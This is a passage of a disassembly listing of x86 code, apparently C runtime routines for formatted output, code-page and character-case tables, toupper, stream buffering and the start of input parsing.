jg short loc_41FB78
mov eax, esi
or eax, edi
jz short loc_41FBB3
loc_41FB78: ; CODE XREF: sub_41F5D4+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_41DC20
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_41DBB0
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_41FBA9
add ebx, [ebp+var_2C]
loc_41FBA9: ; CODE XREF: sub_41F5D4+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_41FB68
; ---------------------------------------------------------------------------
loc_41FBB3: ; CODE XREF: sub_41F5D4+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_41FBDE
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_41FBD1
test eax, eax
jnz short loc_41FBDE
loc_41FBD1: ; CODE XREF: sub_41F5D4+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_41FBDB: ; CODE XREF: sub_41F5D4+35Fj
; sub_41F5D4+406j ...
mov [ebp+var_C], eax
loc_41FBDE: ; CODE XREF: sub_41F5D4+21Bj
; sub_41F5D4+2FDj ...
cmp [ebp+var_28], 0
jnz loc_41FCDC ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_41FC16
test bh, 1
jz short loc_41FBFB
mov [ebp+var_16], 2Dh
jmp short loc_41FC0F
; ---------------------------------------------------------------------------
loc_41FBFB: ; CODE XREF: sub_41F5D4+61Fj
test bl, 1
jz short loc_41FC06
mov [ebp+var_16], 2Bh
jmp short loc_41FC0F
; ---------------------------------------------------------------------------
loc_41FC06: ; CODE XREF: sub_41F5D4+62Aj
test bl, 2
jz short loc_41FC16
mov [ebp+var_16], 20h
loc_41FC0F: ; CODE XREF: sub_41F5D4+625j
; sub_41F5D4+630j
mov [ebp+var_1C], 1
loc_41FC16: ; CODE XREF: sub_41F5D4+61Aj
; sub_41F5D4+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_41FC36
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41FD4A
add esp, 10h
loc_41FC36: ; CODE XREF: sub_41F5D4+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_41FD7B
add esp, 10h
test bl, 8
jz short loc_41FC68
test bl, 4
jnz short loc_41FC68
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_41FD4A
add esp, 10h
loc_41FC68: ; CODE XREF: sub_41F5D4+67Bj
; sub_41F5D4+680j
cmp [ebp+var_24], 0
jz short loc_41FCAF
cmp [ebp+var_C], 0
jle short loc_41FCAF
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_41FC7D: ; CODE XREF: sub_41F5D4+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_423D63
pop ecx
test eax, eax
pop ecx
jle short loc_41FCC4
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_41FD7B
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_41FC7D
jmp short loc_41FCC4
; ---------------------------------------------------------------------------
loc_41FCAF: ; CODE XREF: sub_41F5D4+698j
; sub_41F5D4+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_41FD7B
add esp, 10h
loc_41FCC4: ; CODE XREF: sub_41F5D4+6BCj
; sub_41F5D4+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_41FCDC ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41FD4A
add esp, 10h
loc_41FCDC: ; CODE XREF: sub_41F5D4+68j
; sub_41F5D4+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_41F600
loc_41FCED: ; CODE XREF: sub_41F5D4+1Fj
; sub_41F5D4+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41F5D4 endp
; ---------------------------------------------------------------------------
off_41FCF5 dd offset loc_41F773 ; DATA XREF: sub_41F5D4+6Er
dd offset loc_41F649 ; jump table for switch statement
dd offset loc_41F664
dd offset loc_41F6B0
dd offset loc_41F6E7
dd offset loc_41F6EF
dd offset loc_41F724
dd offset loc_41F7B7
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FD15 proc near ; CODE XREF: sub_41F5D4+1BDp
; sub_41F5D4+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_41FD2E
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_41FD39
; ---------------------------------------------------------------------------
loc_41FD2E: ; CODE XREF: sub_41FD15+9j
push ecx
push [ebp+arg_0]
call sub_41F4BF
pop ecx
pop ecx
loc_41FD39: ; CODE XREF: sub_41FD15+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_41FD46
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FD46: ; CODE XREF: sub_41FD15+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_41FD15 endp
; =============== S U B R O U T I N E =======================================
sub_41FD4A proc near ; CODE XREF: sub_41F5D4+65Ap
; sub_41F5D4+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_41FD78
mov esi, [esp+8+arg_C]
loc_41FD5B: ; CODE XREF: sub_41FD4A+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_41FD15
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_41FD78
mov eax, edi
dec edi
test eax, eax
jg short loc_41FD5B
loc_41FD78: ; CODE XREF: sub_41FD4A+Bj
; sub_41FD4A+25j
pop edi
pop esi
retn
sub_41FD4A endp
; =============== S U B R O U T I N E =======================================
sub_41FD7B proc near ; CODE XREF: sub_41F5D4+670p
; sub_41F5D4+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_41FDAF
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_41FD91: ; CODE XREF: sub_41FD7B+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_41FD15
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_41FDAF
mov eax, ebx
dec ebx
test eax, eax
jg short loc_41FD91
loc_41FDAF: ; CODE XREF: sub_41FD7B+Cj
; sub_41FD7B+2Bj
pop edi
pop esi
pop ebx
retn
sub_41FD7B endp
; =============== S U B R O U T I N E =======================================
sub_41FDB3 proc near ; CODE XREF: sub_41F5D4+E5p
; sub_41F5D4+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_41FDB3 endp
; =============== S U B R O U T I N E =======================================
sub_41FDC0 proc near ; CODE XREF: sub_41F5D4+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_41FDC0 endp
; =============== S U B R O U T I N E =======================================
sub_41FDD0 proc near ; CODE XREF: sub_41F5D4+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_41FDD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FDDE proc near ; CODE XREF: sub_4201A2+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41FF77
mov esi, eax
pop ecx
cmp esi, dword_4DAB64
mov [ebp+arg_0], esi
jz loc_41FF6B
xor ebx, ebx
cmp esi, ebx
jz loc_41FF61
xor edx, edx
mov eax, offset dword_43A8A8
loc_41FE12: ; CODE XREF: sub_41FDDE+41j
cmp [eax], esi
jz short loc_41FE88
add eax, 30h
inc edx
cmp eax, offset dword_43A998
jl short loc_41FE12
lea eax, [ebp+var_18]
push eax
push esi
nop
call near ptr 2650000h
cmp eax, 1
jnz loc_41FF59
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DAC80
cmp [ebp+var_18], 1
mov dword_4DAB64, esi
rep stosd
stosb
mov dword_4DAD84, ebx
jbe loc_41FF47
cmp [ebp+var_12], 0
jz loc_41FF1D
lea ecx, [ebp+var_11]
loc_41FE65: ; CODE XREF: sub_41FDDE+139j
mov dl, [ecx]
test dl, dl
jz loc_41FF1D
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_41FE76: ; CODE XREF: sub_41FDDE+A8j
cmp eax, edx
ja loc_41FF11
or byte_4DAC81[eax], 4
inc eax
jmp short loc_41FE76
; ---------------------------------------------------------------------------
loc_41FE88: ; CODE XREF: sub_41FDDE+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DAC80
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43A8B8[esi]
loc_41FEA4: ; CODE XREF: sub_41FDDE+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_41FED7
loc_41FEAB: ; CODE XREF: sub_41FDDE+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_41FED7
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_41FED0
mov edx, [ebp+var_4]
mov dl, byte_43A8A0[edx]
loc_41FEC5: ; CODE XREF: sub_41FDDE+F0j
or byte_4DAC81[eax], dl
inc eax
cmp eax, edi
jbe short loc_41FEC5
loc_41FED0: ; CODE XREF: sub_41FDDE+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41FEAB
loc_41FED7: ; CODE XREF: sub_41FDDE+CBj
; sub_41FDDE+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_41FEA4
mov eax, [ebp+arg_0]
mov dword_4DAB7C, 1
push eax
mov dword_4DAB64, eax
call sub_41FFC1
lea esi, dword_43A8AC[esi]
mov edi, offset dword_4DAB70
movsd
movsd
pop ecx
mov dword_4DAD84, eax
movsd
jmp short loc_41FF66
; ---------------------------------------------------------------------------
loc_41FF11: ; CODE XREF: sub_41FDDE+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_41FE65
loc_41FF1D: ; CODE XREF: sub_41FDDE+7Ej
; sub_41FDDE+8Bj
push 1
pop eax
loc_41FF20: ; CODE XREF: sub_41FDDE+14Fj
or byte_4DAC81[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_41FF20
push esi
call sub_41FFC1
pop ecx
mov dword_4DAD84, eax
mov dword_4DAB7C, 1
jmp short loc_41FF4D
; ---------------------------------------------------------------------------
loc_41FF47: ; CODE XREF: sub_41FDDE+74j
mov dword_4DAB7C, ebx
loc_41FF4D: ; CODE XREF: sub_41FDDE+167j
xor eax, eax
mov edi, offset dword_4DAB70
stosd
stosd
stosd
jmp short loc_41FF66
; ---------------------------------------------------------------------------
loc_41FF59: ; CODE XREF: sub_41FDDE+51j
cmp dword_4D979C, ebx
jz short loc_41FF6F
loc_41FF61: ; CODE XREF: sub_41FDDE+27j
call sub_41FFF4
loc_41FF66: ; CODE XREF: sub_41FDDE+131j
; sub_41FDDE+179j
call sub_42001D
loc_41FF6B: ; CODE XREF: sub_41FDDE+1Dj
xor eax, eax
jmp short loc_41FF72
; ---------------------------------------------------------------------------
loc_41FF6F: ; CODE XREF: sub_41FDDE+181j
or eax, 0FFFFFFFFh
loc_41FF72: ; CODE XREF: sub_41FDDE+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41FDDE endp
; =============== S U B R O U T I N E =======================================
sub_41FF77 proc near ; CODE XREF: sub_41FDDE+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_4D979C, 0
cmp eax, 0FFFFFFFEh
jnz short loc_41FF97
mov dword_4D979C, 1
jmp near ptr 2641986h
; ---------------------------------------------------------------------------
push ss
loc_41FF97: ; CODE XREF: sub_41FF77+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_41FFAC
mov dword_4D979C, 1
nop
jmp near ptr 26419ABh
; ---------------------------------------------------------------------------
loc_41FFAC: ; CODE XREF: sub_41FF77+23j
cmp eax, 0FFFFFFFCh
jnz short locret_41FFC0
mov eax, dword_4D97E0
mov dword_4D979C, 1
locret_41FFC0: ; CODE XREF: sub_41FF77+38j
retn
sub_41FF77 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41FFC1 proc near ; CODE XREF: sub_41FDDE+118p
; sub_41FDDE+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_41FFEE
sub eax, 4
jz short loc_41FFE8
sub eax, 0Dh
jz short loc_41FFE2
dec eax
jz short loc_41FFDC
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41FFDC: ; CODE XREF: sub_41FFC1+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_41FFE2: ; CODE XREF: sub_41FFC1+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_41FFE8: ; CODE XREF: sub_41FFC1+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_41FFEE: ; CODE XREF: sub_41FFC1+9j
mov eax, 411h
retn
sub_41FFC1 endp
; =============== S U B R O U T I N E =======================================
sub_41FFF4 proc near ; CODE XREF: sub_41FDDE:loc_41FF61p
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_4DAC80
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4DAB70
mov dword_4DAB64, eax
mov dword_4DAB7C, eax
mov dword_4DAD84, eax
stosd
stosd
stosd
pop edi
retn
sub_41FFF4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42001D proc near ; CODE XREF: sub_41FDDE:loc_41FF66p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_4DAB64
call near ptr 2650000h
nop
cmp eax, 1
jnz loc_420156
xor eax, eax
mov esi, 100h
loc_420047: ; CODE XREF: sub_42001D+34j
mov [ebp+eax+var_114], al
loc_42004E: ; DATA XREF: ___:004328B8o
; ___:004328C4o
inc eax
cmp eax, esi
jb short loc_420047
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_420098
push ebx
push edi
lea edx, [ebp+var_D]
loc_420066: ; CODE XREF: sub_42001D+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_42008D
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_42008D: ; CODE XREF: sub_42001D+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_420066
pop edi
pop ebx
loc_420098: ; CODE XREF: sub_42001D+42j
push 0
lea eax, [ebp+var_514]
push dword_4DAD84
push dword_4DAB64
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_423BF4
push 0
lea eax, [ebp+var_214]
push dword_4DAB64
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_4DAD84
call sub_4229D2
push 0
lea eax, [ebp+var_314]
push dword_4DAB64
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_4DAD84
call sub_4229D2
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_420113: ; CODE XREF: sub_42001D+135j
mov dx, [ecx]
test dl, 1
jz short loc_420131
or byte_4DAC81[eax], 10h
mov dl, [ebp+eax+var_214]
loc_420129: ; CODE XREF: sub_42001D+127j
mov byte_4DAB80[eax], dl
jmp short loc_42014D
; ---------------------------------------------------------------------------
loc_420131: ; CODE XREF: sub_42001D+FCj
test dl, 2
jz short loc_420146
or byte_4DAC81[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_420129
; ---------------------------------------------------------------------------
loc_420146: ; CODE XREF: sub_42001D+117j
and byte_4DAB80[eax], 0
loc_42014D: ; CODE XREF: sub_42001D+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_420113
jmp short loc_42019F
; ---------------------------------------------------------------------------
loc_420156: ; CODE XREF: sub_42001D+1Dj
xor eax, eax
mov esi, 100h
loc_42015D: ; CODE XREF: sub_42001D+180j
cmp eax, 41h
jb short loc_42017B
cmp eax, 5Ah
ja short loc_42017B
or byte_4DAC81[eax], 10h
mov cl, al
add cl, 20h
loc_420173: ; CODE XREF: sub_42001D+174j
mov byte_4DAB80[eax], cl
jmp short loc_42019A
; ---------------------------------------------------------------------------
loc_42017B: ; CODE XREF: sub_42001D+143j
; sub_42001D+148j
cmp eax, 61h
jb short loc_420193
cmp eax, 7Ah
ja short loc_420193
or byte_4DAC81[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_420173
; ---------------------------------------------------------------------------
loc_420193: ; CODE XREF: sub_42001D+161j
; sub_42001D+166j
and byte_4DAB80[eax], 0
loc_42019A: ; CODE XREF: sub_42001D+15Cj
inc eax
cmp eax, esi
jb short loc_42015D
loc_42019F: ; CODE XREF: sub_42001D+137j
pop esi
leave
retn
sub_42001D endp
; =============== S U B R O U T I N E =======================================
sub_4201A2 proc near ; CODE XREF: ___:00422D83p
; ___:00422DDFp ...
cmp dword_4DADAC, 0
jnz short locret_4201BD
push 0FFFFFFFDh
call sub_41FDDE
pop ecx
mov dword_4DADAC, 1
locret_4201BD: ; CODE XREF: sub_4201A2+7j
retn
sub_4201A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4201BE proc near ; CODE XREF: sub_41C151+2Bp
; sub_41C151+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_4DAB7C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_4201E2
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_41BD70
add esp, 0Ch
jmp short loc_420245
; ---------------------------------------------------------------------------
loc_4201E2: ; CODE XREF: sub_4201BE+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_420227
mov ecx, [ebp+arg_4]
loc_4201ED: ; CODE XREF: sub_4201BE+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_4DAC81[esi], 4
mov [edi], al
jz short loc_420211
inc edi
inc ecx
test edx, edx
jz short loc_42021D
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_420223
jmp short loc_420217
; ---------------------------------------------------------------------------
loc_420211: ; CODE XREF: sub_4201BE+3Ej
inc edi
inc ecx
test al, al
jz short loc_420227
loc_420217: ; CODE XREF: sub_4201BE+51j
test edx, edx
jnz short loc_4201ED
jmp short loc_420227
; ---------------------------------------------------------------------------
loc_42021D: ; CODE XREF: sub_4201BE+44j
and byte ptr [edi-1], 0
jmp short loc_420227
; ---------------------------------------------------------------------------
loc_420223: ; CODE XREF: sub_4201BE+4Fj
and byte ptr [edi-2], 0
loc_420227: ; CODE XREF: sub_4201BE+2Aj
; sub_4201BE+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_420242
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_420242: ; CODE XREF: sub_4201BE+6Fj
mov eax, [ebp+arg_0]
loc_420245: ; CODE XREF: sub_4201BE+22j
pop edi
pop ebp
retn
sub_4201BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420248 proc near ; CODE XREF: sub_41C326+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4D97D0, 0
push ebx
jnz short loc_420273
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_420311
cmp eax, 7Ah
jg loc_420311
sub eax, 20h
jmp loc_420311
; ---------------------------------------------------------------------------
loc_420273: ; CODE XREF: sub_420248+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_4202A6
cmp dword_43A88C, 1
jle short loc_420293
push 2
push ebx
call sub_41F44A
pop ecx
pop ecx
jmp short loc_42029E
; ---------------------------------------------------------------------------
loc_420293: ; CODE XREF: sub_420248+3Dj
mov eax, off_43A680
mov al, [eax+ebx*2]
and eax, 2
loc_42029E: ; CODE XREF: sub_420248+49j
test eax, eax
jnz short loc_4202A6
loc_4202A2: ; CODE XREF: sub_420248+AFj
mov eax, ebx
jmp short loc_420311
; ---------------------------------------------------------------------------
loc_4202A6: ; CODE XREF: sub_420248+34j
; sub_420248+58j
mov edx, off_43A680
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_4202C9
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_4202D2
; ---------------------------------------------------------------------------
loc_4202C9: ; CODE XREF: sub_420248+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_4202D2: ; CODE XREF: sub_420248+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_4D97D0
call sub_4229D2
add esp, 20h
test eax, eax
jz short loc_4202A2
cmp eax, 1
jnz short loc_420304
movzx eax, [ebp+var_4]
jmp short loc_420311
; ---------------------------------------------------------------------------
loc_420304: ; CODE XREF: sub_420248+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_420311: ; CODE XREF: sub_420248+14j
; sub_420248+1Dj ...
pop ebx
leave
retn
sub_420248 endp
; =============== S U B R O U T I N E =======================================
sub_420314 proc near ; CODE XREF: sub_41C545+1Dp
; sub_41DB5E+16p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_4D9718, ecx
mov eax, offset dword_43A998
loc_420325: ; CODE XREF: sub_420314+1Ej
cmp ecx, [eax]
jz short loc_420349
add eax, 8
inc edx
cmp eax, offset dword_43AB00
jl short loc_420325
cmp ecx, 13h
jb short loc_420356
cmp ecx, 24h
ja short loc_420356
mov dword_4D9714, 0Dh
retn
; ---------------------------------------------------------------------------
loc_420349: ; CODE XREF: sub_420314+13j
mov eax, dword_43A99C[edx*8]
mov dword_4D9714, eax
retn
; ---------------------------------------------------------------------------
loc_420356: ; CODE XREF: sub_420314+23j
; sub_420314+28j
cmp ecx, 0BCh
jb short loc_420370
cmp ecx, 0CAh
mov dword_4D9714, 8
jbe short locret_42037A
loc_420370: ; CODE XREF: sub_420314+48j
mov dword_4D9714, 16h
locret_42037A: ; CODE XREF: sub_420314+5Aj
retn
sub_420314 endp
; =============== S U B R O U T I N E =======================================
sub_42037B proc near ; CODE XREF: sub_41C56F+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_423D3D
test eax, eax
pop ecx
jz short loc_420404
cmp esi, offset dword_43AD98
jnz short loc_420399
xor eax, eax
jmp short loc_4203A4
; ---------------------------------------------------------------------------
loc_420399: ; CODE XREF: sub_42037B+18j
cmp esi, offset dword_43ADB8
jnz short loc_420404
push 1
pop eax
loc_4203A4: ; CODE XREF: sub_42037B+1Cj
inc dword_4D98FC
test word ptr [esi+0Ch], 10Ch
jnz short loc_420404
cmp dword_4D97A0[eax*4], 0
push ebx
push edi
lea edi, ds:4D97A0h[eax*4]
mov ebx, 1000h
jnz short loc_4203EA
push ebx
call sub_41BC9B
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_4203EA
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_4203F7
; ---------------------------------------------------------------------------
loc_4203EA: ; CODE XREF: sub_42037B+4Dj
; sub_42037B+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_4203F7: ; CODE XREF: sub_42037B+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420404: ; CODE XREF: sub_42037B+10j
; sub_42037B+24j ...
xor eax, eax
pop esi
retn
sub_42037B endp
; =============== S U B R O U T I N E =======================================
sub_420408 proc near ; CODE XREF: sub_41C56F+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_420432
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_420443
push esi
call sub_41E32B
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420432: ; CODE XREF: sub_420408+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_420443
push eax
call sub_41E32B
pop ecx
loc_420443: ; CODE XREF: sub_420408+10j
; sub_420408+32j
pop esi
retn
sub_420408 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420445 proc near ; CODE XREF: sub_41CA73+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_420E4B
mov edi, [ebp+arg_0]
jmp short loc_420474
; ---------------------------------------------------------------------------
loc_42046F: ; CODE XREF: sub_420445+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_420474: ; CODE XREF: sub_420445+28j
cmp dword_43A88C, 1
jle short loc_42048C
movzx eax, al
push 8
push eax
call sub_41F44A
pop ecx
pop ecx
jmp short loc_42049B
; ---------------------------------------------------------------------------
loc_42048C: ; CODE XREF: sub_420445+36j
mov ecx, off_43A680
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_42049B: ; CODE XREF: sub_420445+45j
cmp eax, ebx
jz short loc_4204D5
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_420ED2
pop ecx
pop ecx
push eax
call sub_420EBB
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DE10
add esp, 0Ch
loc_4204C3: ; CODE XREF: sub_420445+8Ej
test eax, eax
jz short loc_4204D5
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DE10
pop ecx
jmp short loc_4204C3
; ---------------------------------------------------------------------------
loc_4204D5: ; CODE XREF: sub_420445+58j
; sub_420445+80j
cmp byte ptr [esi], 25h
jnz loc_420DB7
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_42050C: ; CODE XREF: sub_420445+172j
